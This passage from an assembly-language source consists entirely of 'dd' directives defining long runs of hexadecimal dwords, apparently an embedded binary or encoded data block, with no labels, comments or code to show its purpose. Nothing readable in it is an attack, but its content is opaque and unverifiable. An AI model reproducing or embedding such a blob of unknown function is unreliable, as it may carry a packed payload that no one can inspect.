31441F68h, 993005E5h, 4C2A2890h, 0FAC7020Fh, 1A933A4Ah dd 7593880h, 85005F0Bh, 0AC644BF2h, 4CA7D141h, 0F5102C50h dd 2CF0B6Ah, 0FF14E970h, 0DC092C28h, 0A02123F4h, 4155BD5Dh dd 0BCFF7F44h, 736D0161h, 32C15D69h, 0F90881F7h, 0CE27823h dd 16874130h, 60C9D2B6h, 5602973Ch, 49F56117h, 8C3C5CD9h dd 28C26ACh, 10533316h, 0A481271Ch, 62941344h, 3088F26Ch dd 8D7C2299h, 4FE08B00h, 214D4E32h, 9A349659h, 0E40079B0h dd 0FD4E31E3h, 1081D798h, 21901720h, 56EE484Ah, 53F06C56h dd 0FF2EF8D7h, 0B981E8BBh, 75017FEFh, 8F67C050h, 55F71AFDh dd 0CD8F81Ch, 54E97940h, 0B8B3E87Fh, 69B12094h, 5448CE16h dd 28C870CBh, 53C48EC0h, 0E0EF0AE6h, 4807C9Bh, 21591965h dd 0F00756Fh, 0FE1EF4F2h, 0D3013952h, 0B1F7EDB0h, 0BDE08C21h dd 86B72553h, 0F0B8ECA4h, 5E743F44h, 0F84C345Ch, 6F008C8Dh dd 0E93D5102h, 48CFC2E0h, 0AC11B02Bh, 1DD1392Fh, 28ECA2C8h dd 0F9796600h, 298B3FBh, 0DCC9043Fh, 0C8647AF0h, 652F5EF8h dd 0F798007Fh, 8015F2E3h, 28F8B194h, 39A23806h, 9105231h dd 8C40E4C4h, 981D4CC3h, 9E80C982h, 0CDFC43C2h, 74FC9435h dd 39006846h, 6F980C15h, 2A05ACCAh, 563FA68Bh, 32869862h dd 0F96C7C40h, 0E08CD04Ch, 0F1B1B0h, 31ECFA08h, 6FD0787Bh dd 0B90A201h, 0EBC26774h, 0C9BC8C7Ch, 7E5C178Ch, 0A5B60298h dd 844009A3h, 31805DC6h, 15D912F1h, 575C0455h, 0C32CC8FAh dd 3368048Ch, 0A26F3BC6h, 8071C76Ch, 0FE2445A1h, 1383503Ch dd 0EAF8D481h, 0A5244639h, 619D786Dh, 42556F41h, 0BA112FB4h dd 4F84507Ch, 0E200C3BEh, 7FAD1B94h, 16813Bh, 0D4471503h dd 0F5AB913Ah, 5C4F115Fh, 8A8E972h, 39683Bh, 3D7BA785h dd 0B2A153BEh, 16901754h, 0B43C126Ah, 3F7DF850h, 0B5DFBF12h dd 0F380609Bh, 0F80FFB6Eh, 6C16DCBEh, 0C8CD3C24h, 722EF1D0h dd 5B940097h, 547ADCF8h, 0F8B9118Ch, 0E41887D1h, 0C3E39h dd 5857491Bh, 0A015AFEDh, 0B459B668h, 234676E8h, 0EF317600h dd 0CFA7B97h, 94C855h, 0B59C0BD4h, 87707862h, 8DFC040Dh dd 0A2A823D4h, 50413024h, 0F6504FB0h, 0E71389E8h, 0C49B3807h dd 95975B80h, 211FAD7Eh, 0B42E914Eh, 2452F908h, 10D55108h dd 6F533Eh, 632747C0h, 0AA024A6Dh, 0EC818090h, 56743898h dd 5D9112ECh, 22D7681Ch, 0D2BBA0D1h, 2F584434h, 5020A7F5h dd 21765A84h, 1C44BE12h, 0EDC1BC67h, 0B8CAB1B3h, 6AFBDCDCh dd 0C890D97Ch, 254674E8h, 0AEDFC412h, 27CF2D01h, 946D7442h dd 94922F0Bh, 9118570Fh, 0F8A93BF5h, 226C625Ch, 44649873h dd 70B1FCF5h, 465E20AEh dd 6B3602C6h, 767FEA88h, 7BD942E4h, 63008C0Ah, 0FABC8A39h dd 5E35326Fh, 506C6918h, 0D43B1C98h, 2C66AEEFh, 0C6808111h dd 0A8F967F1h, 0B3C04CB1h, 91F1ACh, 7859AEEAh, 4580C5D5h dd 0FC40194Bh, 0DA549287h, 0EE7F0005h, 9BF97BF1h, 6E027109h dd 10EBA7BCh, 801874BAh, 178628B1h, 20AF55Fh, 0B440AE3Ah dd 0CDAA9801h, 0A9CCEF99h, 0C0C77F4Dh, 7328118h, 0F15FAC2h dd 5AA42AF0h, 0E424886Fh, 0D2140854h, 874C8252h, 0DC8401D5h dd 51CC32F6h, 1449D074h, 97F3B91Dh, 58C6401h, 212090h dd 0C9DDC05Bh, 538092A1h, 9813ED9Ch, 83396116h, 58722C29h dd 50D1C8B2h, 0B809DD92h, 364024BDh, 60A79084h, 579745B0h dd 109FED1Ah, 598CBAF0h, 188A799Ch, 64BC1D7Ah, 1B0814Dh dd 7031D8E9h, 0E092AFC0h, 91A89797h, 82E68E24h, 745BF659h dd 0D9BC8148h, 0C4F14334h, 56006092h, 2A3A6FA9h, 17BDAF55h dd 5AB2F44h, 0A0BA17DCh, 4BF41484h, 0B2707553h, 7F023085h dd 5C2C122Ch, 87D11029h, 2B073B18h, 839FEF8h, 9FA018A9h dd 0F6B901AEh, 97443738h, 5DE86039h, 307C40h, 0A150F434h dd 893A4A2Fh, 5A3BFB12h, 822308E6h, 68F1C701h, 0AC7CB0F9h dd 70ADACB1h, 9C2CBF7Ah, 5B0968C9h, 37C4A1C7h, 0BA027D56h dd 3AB81881h, 14F8D740h, 6000E319h, 8DFBAC18h, 1ABDA16h dd 13E62D3Bh, 2F3E7A02h, 0BC7F4045h, 798174C1h, 60BA23F0h dd 2E695174h, 37013F53h, 6BEF529Eh, 0F0708AF4h, 66E0061h dd 4E39EBAFh, 24941A1Dh, 0C6D19CA9h, 0D102A118h, 840863BFh dd 9346427h, 0F70FFFF9h, 22551890h, 508E5D4Ah, 6BC18988h dd 95C90708h, 0DE20688Dh, 0A9D84158h, 3CF20083h, 0CCB8B8h dd 235FC3Ah, 92636B16h, 5CBDAD16h, 4FC42CA4h, 4370C85Bh dd 1A046000h, 0A72313CEh, 197408h, 25C742B2h, 0CD53776Ch dd 0CF654C02h, 0CDBFD362h, 0EAEE004h, 3906D297h, 50C512BCh dd 31C08048h, 0D0C7841Eh, 5B8935A1h, 5EBB03D4h, 18022699h dd 0E179E7FCh, 746C5617h, 0EC1FC646h, 2E83FC88h, 1F614EBAh dd 6C207170h, 562313F2h, 1880F00Dh, 40C9B698h, 0CF8890F5h dd 1C9052h, 6377BB16h, 0AD0EBD33h, 7BE060EFh, 9E07F080h dd 0C0049220h, 0A251BD8Ch, 0A48D80B2h, 0F6B786E7h, 7767876Eh dd 0E7FB2070h, 15DA2ED7h, 0C9467614h, 0E2E54F00h, 8B6FF96Bh dd 0C2F45718h, 25F5921h, 0E6064FBDh, 0ABC0EBE1h, 317A1AA4h dd 823FE83Bh, 540FF98Bh, 204CFAFAh, 0F0137F01h, 48E0B4DDh dd 0E14619BBh, 2B7A188Bh, 29D1700Bh, 0E458C530h, 8024608Bh dd 59040975h, 0C88FA99Dh, 0A06FFE27h, 2FB5F555h, 0BA44ACB8h dd 1C5809D6h, 88F1EAF4h, 38420D3Ch, 0A8A63176h, 0EF01F620h dd 0BD96A9F7h, 0A9BE7A59h, 20357816h, 26196978h, 972740B4h dd 808791C0h, 0E88B2184h, 0EDA805EAh, 0E1E00D59h, 0A56409CCh dd 4D20E0E1h, 156123Ch, 3328856Bh, 99E6BD14h, 0B8D683A2h dd 30B63964h, 0C82957B0h, 0A63B8B0Bh, 970C40F9h, 39092DF7h dd 28C454E5h, 576F3560h, 77952C07h, 0A692476Ah, 91FC7C5Dh dd 95AE223Eh, 71914097h, 1C00B08Bh, 484A1749h, 1D5DA22Dh dd 83279158h, 0C8F150A6h, 1C77FE3h, 55D73BA9h, 2E05A836h dd 7DCCC844h, 62169000h, 0F0BE7243h, 40102788h, 0C1533F52h dd 0D08FBE2Ch, 25562D08h, 463C3C40h, 5917DD17h, 17AA0CCh dd 0FAC79FA5h, 808D863Fh, 3DFB6C30h, 0E776BAF4h, 4A40406Fh dd 426A8DD3h, 0DD0C8C0Fh, 0D289802Ah, 5FDF2175h, 66902261h dd 16F0D030h, 0F2E0FACDh, 87C0C080h, 0E02113F0h, 14AF00FEh dd 55684C2Ch, 5A27CE88h, 0E5B0E545h, 0C050ACCAh, 31E783Eh dd 7304166Bh, 0CE50901Ah, 0CC017654h, 6195A7B1h, 29C8140Dh dd 757655h, 67070A90h, 0DC84ECC8h, 0C830F04Ah, 0C4A9E0AEh dd 4794F418h, 608082ADh, 26692C16h, 74A4ECCAh, 71D30F10h dd 0F280A28Fh, 7EDD618Ch, 0D72A3402h, 48BFE558h, 25A77CD4h dd 0C08F8F89h, 5234F393h, 3086E260h, 0C5ECBDE4h, 805370Bh dd 0E5B6858Fh, 2E25DBC1h, 7E50202Bh, 434E640Ah, 61010004h dd 14A2D21Fh, 0E00EFF80h, 0C1420FE3h, 0D872DE5Bh, 4D2B8600h dd 22872C26h, 53F604C2h, 0AD91A099h, 0B3231024h, 24A0F425h dd 5D87ABA4h, 0CDEDC600h, 78E3F59Bh, 0E4630357h, 0BDC4C783h dd 20D6CA91h, 25F54C74h, 88104E6Ch, 0BDC8C2C7h, 0E88A042h dd 0B2A717A4h, 0ACC14BECh, 0C8714138h, 0A8F0146Ah, 0B7F0910h dd 45DF2731h, 0D30CE1C0h, 9080871h, 0AD655112h, 630054F1h dd 542D55F6h, 7200040h, 7E4ABFB8h, 0A10B9BF4h, 0E2054EB9h dd 0D7888000h, 4FF51549h, 0DA38C8CCh, 0B9001772h, 77ADD9DFh dd 0F84E8D14h, 6D7A090Dh, 0C585B87h, 4AE9A844h, 0F6A0D081h dd 0BB2D9808h, 73EC6212h, 0BFB97018h, 0E016A85Ah, 0D014E8A4h dd 4710B4E1h, 24854A0Ch, 8888608Eh, 0C460C9C7h, 4EC5520h dd 9DAE395Ch, 70548092h, 0F09E9010h, 5A20878Bh, 0B52820F0h dd 35661600h, 0A62DE5FBh, 10184A01h, 8BAC441Ch, 4199008Ch dd 1D5A8FCFh, 4E103B70h, 0CA12713Dh, 0E214B275h, 33733070h dd 0C415D2Eh, 3C7E1F40h, 71CAA0B0h, 6EF20094h, 77A91E69h dd 5539DD1Bh, 603007FCh, 5BD2E5B1h, 98D13Eh, 8F3AC15Fh dd 0B0107EEh, 8EB068C3h, 0E82CC6EFh, 0ACF7DC0Dh, 986E2B81h dd 3F08CF26h, 9A641778h, 50E41D02h, 185B1FFEh, 64E4C727h dd 82096723h, 10C6F7Ch, 7A38F516h, 0DA0E746Bh, 1D80DDCBh dd 0E007F920h, 0F0A0D86Ah, 942C4480h, 0C127EBF5h, 0DE5D8468h dd 0A2606386h, 144F3071h, 101E4026h, 30FADC8Bh, 0D793151Ch dd 0E230A2C9h, 205D3021h, 5C88885Bh, 90BF412h, 0DF990FF2h dd 9F4CA098h, 0E725E300h, 0DDAE83A9h, 94E20E8Dh, 6D003345h dd 689B8F4Eh, 5946B917h, 59CEEC49h, 48A8E778h, 60788823h dd 30A397F5h, 52C0A92Bh, 0D27599Ah, 0AA80C148h, 342F4F71h dd 0B210E2A8h, 6229308Ah, 0E4B97200h, 5990E6DCh, 24972FE5h dd 97BFF86Eh, 83249178h, 0B0CADF12h, 4EFD4E3Ah, 732C4421h dd 394404D9h, 23582EAAh, 0E80F002Bh, 458DD9EEh, 42D52A00h dd 0B3BA97BDh, 8AE8D3h, 47EFF30Bh, 6EDB5A64h, 9520F33h dd 932100C7h, 0F9FB47E7h, 0FD066232h, 20319836h, 2F850041h dd 7F6DD5ADh, 121F0E84h, 1BC05B0Ch, 6C86B5A2h, 829A01AEh dd 32E9D335h, 0EB39800Fh, 94C55490h, 8EBB0CA6h, 2508968Ch dd 895121C0h, 1E33E054h, 4008A1D0h, 0E4E61E63h, 2EC07BD6h dd 0AF6EFE6Dh, 18FD7FD7h, 0B0943B60h, 0C50EB7D3h, 0A11E8DCEh dd 0CF16D6EFh, 21AA0898h, 0CE00BDDAh, 0A1119913h, 0EE2EAF81h dd 20700152h, 0AAC5D2F2h, 0F985E031h, 0A0B2581Fh, 94990CD8h dd 89704Dh, 816607E4h, 6AFBC5E7h, 0E83855E0h, 20026103h dd 89C8C35Dh, 4240C6Ch, 1C084481h, 554521C0h, 0E6BF61C3h dd 8DC201E6h, 0E80550F2h, 7238013h, 39FFAF3Eh, 0F4D20055h dd 5A703542h, 0D007B85Fh, 5B5132FAh, 0A3CF8170h, 41F81C10h dd 0FF383AE9h, 490BE898h, 7E008919h, 461F3091h, 7A2971A4h dd 159D18F9h, 8B5FC60Bh, 0B70FC10Eh, 1B5A3F1h, 0EB181B33h dd 89834504h, 191121E3h, 5E0312E9h, 43B0C371h, 0C2E14097h dd 0D6E4A0EEh, 32D5AE01h, 858D47B2h, 3A9C0DC5h, 8E94C60h dd 1F007C3Fh, 79998432h, 500FDE70h, 7613887h, 6E31A1BAh dd 52506008h, 1C0129BEh dd 895F2CC2h, 0BDCC2404h, 5A8DEB55h, 940E8B50h, 43C85FA3h dd 3015A2CAh, 8FA058F7h, 383053Dh, 79B8BE46h, 46A82502h dd 1D6FF48Bh, 0E831E6D8h, 35505225h, 48C35819h, 0FF4E44h dd 2C35040h, 5EAB1ECh, 0D88C085Fh, 0F0C20E03h, 3025856Ah dd 0C083F712h, 8D310506h, 52F11995h, 8A00F1E9h, 0C2DB3453h dd 0B3106630h, 92406735h, 0E1BD1431h, 465651Bh, 5B552153h dd 5C89C8C3h, 4319448Ch, 77C35300h, 0E12627DBh, 4423A7CFh dd 0C887601Ah, 4155090Eh, 5C0063DEh, 65FD6A4Bh, 7195FF0Ah dd 52145324h, 0C35A872Eh, 51078829h, 524250h, 0A02CBDC3h dd 8DE045FCh, 0D64B9D01h, 830F07E7h, 602B00CFh, 0B0D98B66h dd 0FF0161F4h, 0B8D8BFD3h, 85DC725Ch, 0E42029B9h, 181DD9E7h dd 0B80E0075h, 31DA9599h, 0B01893BFh, 79250AE8h, 1A8803B4h dd 0F55082E0h, 5E9A5F0h, 4A671FC0h, 7B6DB6F3h, 91CF495Eh dd 1FE837h, 11ED815Dh, 7CA03792h, 0E7831469h, 312AD563h dd 0FEBD00Ch, 0A101F986h, 18D1A70Ch, 1005718h, 8BC83C27h dd 0A71AC59Dh, 601AC4CDh, 1EEFA9FCh, 0D338349h, 0C1DF8F0Fh dd 752157h, 0E3815E72h, 565C52E1h, 0E4C35E30h, 22744689h dd 56460017h, 74BEDDC3h, 8D1829BFh, 0F5B631B9h, 6ADB640Bh dd 0B86450B3h, 0E9008C1Ch, 32304E84h, 613681Fh, 0D58D8975h dd 833F662Dh, 0D02FA8BDh, 3D84C180h, 958C3FD8h, 0B0E98013h dd 0DE817C6h, 0C010000Bh, 250CB52Ch, 3472A1E4h, 924AA409h dd 0FBB490E8h, 1B67A36h, 93EC647Ch, 0D8654D2Fh, 69024337h dd 0FCA61383h, 8D90875Fh, 0C712A219h, 0AB4A8885h, 1CD9DDA9h dd 0D2FAB718h, 510D3Eh, 139CE7Eh, 0C81F8DBDh, 1FA645D7h dd 3F16AD0Ah, 14FC10CEh, 31730F8Ch, 6F995D95h, 0EA8E100Eh dd 7ABEE26h, 0DD8611FEh, 0A760E02Dh, 5C938D42h, 59875191h dd 4C8922C3h, 4100E847h, 7BFEC351h, 537E013Bh, 0FA5D2C28h dd 0FB20303Dh, 0FF23810Eh, 2EE95CFEh, 9181471h, 68D0F18h dd 6F858915h, 0A89DDFD1h, 2069980Ch, 661030B9h, 19E8DB8Ch dd 83FE398Ch, 7E37B90Ch, 0F67BF9C2h, 22530448h, 0C11CA024h dd 0C740821Eh, 40822D91h, 3B62D3h, 0BF9025FBh, 1D303CAAh dd 230D5077h, 0A11C31BDh, 2E1210F8h, 941B42E9h, 1535C209h dd 47B131Eh, 522C545h, 0E43170E6h, 19C43255h, 6018003Dh dd 78CACCC1h, 5F14B2BAh, 8188810Fh, 0A859D09h, 8712507h dd 5FC25787h, 7C0FE1C3h, 47806E33h, 0D136C357h, 0A782410Ah dd 0A508BD60h, 4521701h, 21F972h, 0B60F615Fh, 0D11799D8h dd 1A951816h, 0BCBAA59Bh, 1DC46847h, 0AF332E60h, 3B745A01h dd 59062301h, 0AB950B20h, 47C3B2CFh, 6717440Ah, 0F80F0C70h dd 89B51209h, 863E4E25h, 0E8C10A11h, 1CD67E04h, 7157C240h dd 3181AAh, 53F7665Eh, 16A284E2h, 0EED1F931h, 24F28670h dd 9057D82Bh, 10D65809h, 502C186Dh, 0FC792F2h, 1CC66173h dd 0F1581524h, 97B52CFAh, 8A06EE4Ch, 58C97380h, 7F906378h dd 50E412Eh, 119467Ch, 5E3A6A93h, 824160D0h, 83222391h dd 149D1062h, 62A78344h, 13601C44h, 101C998Dh, 2C89169Bh dd 48809C6h, 5C803C4Eh, 0D2027F83h, 7E6F30h, 914166Ah dd 0F632D1h, 81769015h, 49FFAFDEh, 538D1249h, 3318A23Dh dd 391F4988h, 0C0E93529h, 3289A500h, 9AE2585Eh, 5D154187h dd 88C50BA0h, 0C294C015h, 0B6B1820Fh, 0EE3E1025h, 0C6510257h dd 0D5ED48A5h, 0ACC1A542h, 0BE661015h, 84D949E8h, 80665E55h dd 0F00F28F1h, 572C830Dh, 62A8210Ch, 3EDC1996h, 7600A220h dd 30AB7891h, 0B44E929h, 0F1F2F7h, 2E96C670h, 7851D166h dd 0BCBA5849h, 0E2530BEh, 57880FAAh, 0F8E10158h, 0FB1C8C17h dd 0B997B562h, 81660620h, 0B18A0BF7h, 1DA2C183h, 3B020279h dd 1DCF41D9h, 1BF80628h, 7B29018Ch, 4CFBB30Ch, 10E9D05Ah dd 8AAA21C0h, 1C53685Fh, 0C2518B92h, 6BA1E5D1h, 801DD985h dd 0F6F8D9B6h, 2493C159h, 467E43A2h, 0BC760517h, 0AC982C78h dd 9AF1EC89h, 0F5B590Ch, 0A30F3EBCh, 8136808Bh, 0DC30D813h dd 0CC00AA23h, 62FAA03Ah, 0C3522BBEh, 3016E25Eh, 2654EB7Fh dd 243E042Bh, 3DC6611Ch, 392D0834h, 0BE00AF42h, 6A298DAAh dd 15C03CE9h, 89B6D781h, 8B0E14ABh, 1AB846C0h, 0F2341C8Ch dd 0AA8C8411h, 0D5A5C135h, 8E0F0131h, 612C9B76h, 0D80A6F90h dd 1B465C38h, 1461124h, 0CBAEAAAh, 0E62531A0h, 4887C92Eh dd 2CC7FCAAh, 82486585h, 71681151h, 1944BD67h, 0B02BB660h dd 0AB695B14h, 0D20E5C95h, 8517F68Eh, 23323F34h, 40E3001Ch dd 0FF579CB7h, 94E8D112h, 0B4EECE03h, 8085CA12h, 0D9B2BE39h dd 0A3275977h, 1116F96h, 29610F6Bh, 0E154C58Dh, 9CE9BBD8h dd 163C809Bh, 34F5ECC6h, 0BF2F5500h, 0B5319081h, 0FD0B52A5h dd 0BE060522h, 4AD87B76h, 0A203685Bh, 1A46748Bh, 6E927C00h dd 8817F742h, 1F0CE830h, 71C7C1FDh, 0EFD700BEh, 0A43D4D77h dd 0EE00BFE6h, 5F127982h, 6F7DB529h, 0F8ACA130h, 5393F706h dd 31B58902h, 3C86091Fh, 259EFCE1h, 0DCEA00DEh, 0DD061A3h dd 4F0A34D7h, 0D2FDB523h, 31E39A6h, 0E50A050Ah, 2289A39Ch dd 552F0262h, 1BF9070Dh, 1711479Dh, 2531C081h, 0CBD4B877h dd 0F59BBA12h, 36064D8Bh, 605B1522h, 9CB16320h, 15490109h dd 0C8AC0479h, 535BE83Dh, 1F75850h, 1DF52140h, 0D8853161h dd 75BDFD04h, 0E9121692h, 0DBCEF753h, 0F5C01AC8h, 62E2BD4h dd 0E98D5EA1h, 3E481F2Ah, 524938D7h, 49E9BC01h, 65056C8Ah dd 0C0D76B8Dh, 1E34C845h, 94284200h, 0F78B9F7Eh, 0EA0600E1h dd 0DE777D56h, 5300E703h, 0B145633Dh, 0A7BD9Bh, 820FD13h dd 9411C174h, 0AA9AEF1Eh, 97266BC1h, 0C6207956h, 6480005Bh dd 0C5DDBAD0h, 0E27FBF8Dh, 6CA4B800h, 4D6B45D1h, 0FE42EEF4h dd 0A0743Eh, 68886114h, 0D69CAE17h, 65E2440Ch, 703C1D9Eh dd 919A3ECCh, 9FF8F483h, 7AC3738Dh, 809674F8h, 9C004876h dd 41EFA86h, 63E15CCh, 21D65306h, 0AD00443Ch, 4CC9EB44h dd 60482518h, 92A83030h, 0A00E8FEh, 14EEBCF4h, 3E08A6F6h dd 3800102Eh, 83FAAA81h, 0FB058FA5h, 3170AF21h, 41478640h dd 305BD822h, 3264C7A4h, 5E0070C9h, 0FF4F6744h, 1F6B8561h dd 0F0E69359h, 0A90B0925h, 18182CE4h, 8417D6ADh, 756CFA1Bh dd 0AA7B0038h, 0AB1DE05Bh, 9F14C650h, 158C4270h, 7EEABEFDh dd 8CA07F00h, 0D2A7B954h, 2307292h, 0CC679FB3h, 9DA09A61h dd 0A8BE9C38h, 233D4F00h, 49F62E46h, 6D1FC0B4h, 37C8F4B0h dd 0E05C111Eh, 0C06F20E5h, 0E26F24Eh, 64888987h, 3156E41h dd 2A0F202Eh, 0FC0A34FEh, 0E1D00861h, 9AACC200h, 87A780h dd 9C35C537h, 6BE0F2B8h, 2C09EE1Bh, 35CE070h, 5D2B00F1h dd 7C1A6A7Eh, 4E0086A0h, 338CA280h, 8D5B21h, 0B2B090B1h dd 5D77CBC9h, 6C2AE9A0h, 0E6B94207h, 0F18058A7h, 3E1922CEh dd 0FD248FB7h, 8B08002Eh, 6D8964DBh, 419A3501h, 0E5C3611Fh dd 18ECD352h, 8D016A38h, 6D0A1C75h, 4DCC4639h, 0C6A300B9h dd 0CE401AAEh, 2571DC90h, 623CBB12h, 4D92000h, 25F7B56h dd 69805927h, 0A7A117ECh, 80B047C4h, 64B51E0Dh, 46AA2FBh dd 3C23632Ch, 0BEA49061h, 58007B9Fh, 3738D3B2h, 14A6DEh dd 467E9C76h, 0A37F99ABh, 83518900h, 85538BA9h, 5A923DA6h dd 0D898CC80h, 87376F80h dd 15B3A824h, 0DCEA6D1Eh, 7D4F9654h, 0A1136300h, 772EFAF3h dd 0C1D3033Fh, 38502DFBh, 86745E80h, 7900297Dh, 48603DC9h dd 0F22FAC10h, 9C19003Bh, 7E9A75E8h, 0B100902Eh, 53698B9Dh dd 1F502978h, 70C7BC39h, 0D12A93EEh, 727640F8h, 33001BE8h dd 0BEFBB604h, 771565h, 1FF88498h, 1A2CC7FFh, 0A9BA5416h dd 16E8104h, 0F6683E80h, 8D6901A8h, 45579A3Dh, 0D700F3A6h dd 0D4DF54C6h, 2499880h, 166F8965h, 77AE2F04h, 0AF16E82h dd 68C8C0A1h, 0F1CD3EBh, 0A70059C2h, 5B0B8E6Fh, 0ED093DE4h dd 0F678824h, 91A00D5Dh, 1B536B48h, 0C7278005h, 480679Ah dd 0A142678h, 19DFA14Eh, 5F0784F4h, 539BD01Ch, 0CB14A6B8h dd 11C65834h, 0CA0001A1h, 28607A56h, 84A07D5Ah, 0A900E4A3h dd 0C7C88123h, 0E21EFB5h, 22F02848h, 60F22A80h, 2D601CE3h dd 2F51BA68h, 0BEF6B2h, 4B327249h, 0A2C1556Fh, 713EED73h dd 0A61C83F4h, 901B7D13h, 39528A9Eh, 1E304CB7h, 46C32318h dd 1D0FB160h, 12495BB4h, 7C9016Ah, 0AE4A31D4h, 8D6CA7A0h dd 0E002079h, 6BFF17F4h, 12D7855h, 0A4DC3553h, 800706F7h dd 4BFB7E46h, 957210h, 74516B7Dh, 0D5B2C85Ch, 0B785BD00h dd 4C8AC2DAh, 98C30083h, 50C50B26h, 0C00726Ch, 0EB03E0FAh dd 57F8057h, 58D8780Ah, 819B4027h, 5D39424Dh, 9AEA430Eh dd 76BE8C1Dh, 58A80011h, 0D1AB38E6h, 7B02DBF5h, 9DAFE5B9h dd 143160D7h, 44A60680h, 348330C7h, 23359E18h, 114ADC1Dh dd 39946BE8h, 7AB4E042h, 0A47486DFh, 9B7700D2h, 6BA96F81h dd 0B700E2A2h, 0E8204019h, 121411Ah, 0E3F54EE9h, 0F4D4ECC9h dd 324F466h, 0E5002A17h, 7D80E9CAh, 0A079031Dh, 39C6A1B3h dd 9ED877D8h, 2F404A4Ah, 0B00B1F4Ch, 72430212h, 444D8B60h dd 69D8960h, 0C0BD5F28h, 7E40E302h, 6070F4FFh, 9801A6h dd 0B7CBAA48h, 4D32DFA5h, 94427B00h, 0A1D9F1CEh, 0DDF73FD3h dd 0E69E6703h, 0BE98ADAAh, 83FADBB6h, 84910607h, 5420EBBDh dd 0E16BF2C0h, 0A6CBC4Ch, 0B9F59F1Ch, 515E2D91h, 89066801h dd 1480BAF2h, 0CBE5F760h, 4200D6EEh, 0FF374F2Ch, 608E0B6Dh dd 0FC6525E9h, 39989770h, 9992A40Ch, 71D1B19h, 0C2E2BB59h dd 0EC5370B0h, 630CF70Fh, 0E212EB89h, 0DCD21FBDh, 8212398Ch dd 21DE404Eh, 0E5E7653h, 0FB94702Ch, 0CF95A700h, 54118h dd 0E0307E11h, 66CC7863h, 0AD161C04h, 26904819h, 30B9455Bh dd 3CE1C5DBh, 80C0AA99h, 11B8D9B5h, 6A7A1CA9h, 0CD05405Eh dd 0D8412032h, 0F5D2A000h, 58B1D1AAh, 0AE75C4h, 0E7D481B9h dd 0A25DE9FFh, 0FE612500h, 5F750921h, 326A0082h, 39718564h dd 82A38D6Bh, 437B95B0h, 801CA839h, 870AEB23h, 1F1E93DFh dd 82201F47h, 0A481972Bh, 0FCEE9C0h, 92D62095h, 0EFD19F4h dd 24B0F19Dh, 5A6C7020h, 561E2877h, 0BBAE5C7Eh, 2F677D61h dd 16987D8h, 6C886331h, 618B6634h, 768AE818h, 18A23E52h dd 0EE989B74h, 0E6890956h, 0D372C681h, 0F1ED837Bh, 1F6D2CFFh dd 8ABA8F5Eh, 13EC815Ch, 0EE14890Fh, 8AE38F53h, 4B3B0CC3h dd 6987F888h, 2258381Ch, 3A0F6803h, 148B07E8h, 15C4813Ch dd 2466543Dh, 68151483h, 33327F2h, 0FF08408Fh, 9358B234h dd 514B0F1Ch, 0C18AE189h, 870CB162h, 0E980800Ch, 0FFFC3E6Ah dd 40B100A2h, 6D1D20F5h, 3F631BB8h, 0F8C50392h, 185ABE0h dd 0FBA12EF8h, 40F13017h, 82EE67E4h, 7FF07897h, 0B85A2456h dd 46003E3Ah, 0FF706827h, 36F862B4h, 43008BF8h, 5D2C5942h dd 64D06Fh, 589DBB56h, 0F629A305h, 0F4B60A02h, 0C3DD54F3h dd 605DD2FBh, 36138EBh, 8A3C3F51h, 0C4E04E36h, 6489953h dd 52690168h, 9E9C18Bh, 0CE2AE780h, 7D5D012Dh, 0DFE0AD12h dd 8B0FB6F3h, 9EF3A1BDh, 9CA68308h, 348CE1F4h, 974E8730h dd 8166C398h, 9170C70Ah, 17A5F150h, 801991FCh, 0F691CC76h dd 89C80B2Ah, 0DB61759Dh, 0B23A2B6Ah, 0D2001D23h, 0CE12C53Ch dd 2BC00CA5h, 0D6AE6DCAh, 543D5536h, 419428C8h, 8B0F27FEh dd 0D95CA812h, 29977049h, 1B8E890h, 0A6F3BA9Bh, 0D71F42Bh dd 505F6E01h, 61605153h, 0B590BADBh, 0F1678359h, 6DF83BF4h dd 0C1A1223h, 1D4CF5B8h, 801B11AAh, 187D96C7h, 9DE818A0h dd 852946F6h, 0B482394Ah, 801076E9h, 6EF3E258h, 0B701D4B1h dd 0B4E4A280h, 1D86CF5h, 0DA83123Ah, 1EADF31Fh, 3BC9CEBEh dd 0AD917976h, 0FE098C10h, 9000A9F2h, 0F572C3Ah, 1E3CC39Dh dd 64298AC4h, 1A09084Ch, 89D3FF07h, 97997D86h, 0B971A03Ah dd 1B181959h, 0A79B1F05h, 0FA063817h, 194447CFh, 0FD22E1BDh dd 8D382FAAh, 0E41419Eh, 0C01688BAh, 1DA1239h, 2ACD8D12h dd 79C8ABF6h, 6420C569h, 5FB76017h, 484987Fh, 29A450CEh dd 8002E802h, 0C97D21E1h, 9D8B0CD2h, 0F7E06FDh, 6D218F5Bh dd 0B225E1B5h, 0F96302Eh, 0E922F0BFh, 0D13C0013h, 0F5D981EFh dd 0B9002FFFh, 0FC8957D6h, 12293B1Ch, 0F4475D53h, 0E08B8F8Bh dd 9714598Dh, 400467A2h, 66103C19h, 0B41A4ABFh, 9D10A9E9h dd 81159174h, 11E9121Dh, 4CB51580h, 7817E7CCh, 50B4C100h dd 0C6CDDF37h, 7300529h, 985C710h, 0AA5B0149h, 1DAC27D8h dd 0FC8778FDh, 552E970Bh, 5BB63FE6h, 0BD952943h, 40099AA1h dd 2677E2Eh, 0C9858980h, 4005241Ah, 0FF32D0A0h, 8D4942h dd 384C8188h, 2E1F41A9h, 442A4274h, 0FA001B23h, 0ACF63B33h dd 1ABF2EE2h, 38F21439h, 79950183h, 9040BDBCh, 8C15A835h dd 9197C678h, 0E3154239h, 862F5F87h, 0F001623h, 0BD29D926h dd 7A719ACDh, 93824A50h, 52C360F2h, 585A31C8h, 8990614Fh dd 802AED95h, 22F5A3E9h, 148110AEh, 0C94BB038h, 0FDF3E04Fh dd 5EBDA517h, 2A9F2B00h, 13694517h, 0E670E6EDh, 49A3E086h dd 0A23B09BFh, 0A9F9671Dh, 0E58E7A00h, 99BE28h, 7B769E23h dd 0BFC54373h, 6EDCC700h, 371E4A4h, 29CD24B5h, 0D8B68E12h dd 0E5928969h, 0EE400A54h, 3F6547DCh, 5D842BD6h, 0AD524EF6h dd 0E5DB4EACh, 9E2703C0h, 3D054152h, 14830FB0h, 0E23D1Dh dd 0F1C6E5A4h, 0A387B05h, 0A0673600h, 8A6CF761h, 3EC3528Bh dd 3E3016E2h, 0F898587Ch, 5CA25D22h, 0BA26585Ch, 466F00DEh dd 19556F4h, 890937F5h, 2013ED8Dh, 2BE2F77Ch, 602EADD8h dd 64014208h, 68AE5305h, 9520E898h, 2E95F5h, 8AFB16Bh dd 7A61EDFCh, 0B401A5E2h, 0A88248D4h, 0CC20DDF7h, 935F24FAh dd 0C5902F67h, 0FC09E5DAh, 4253D8h, 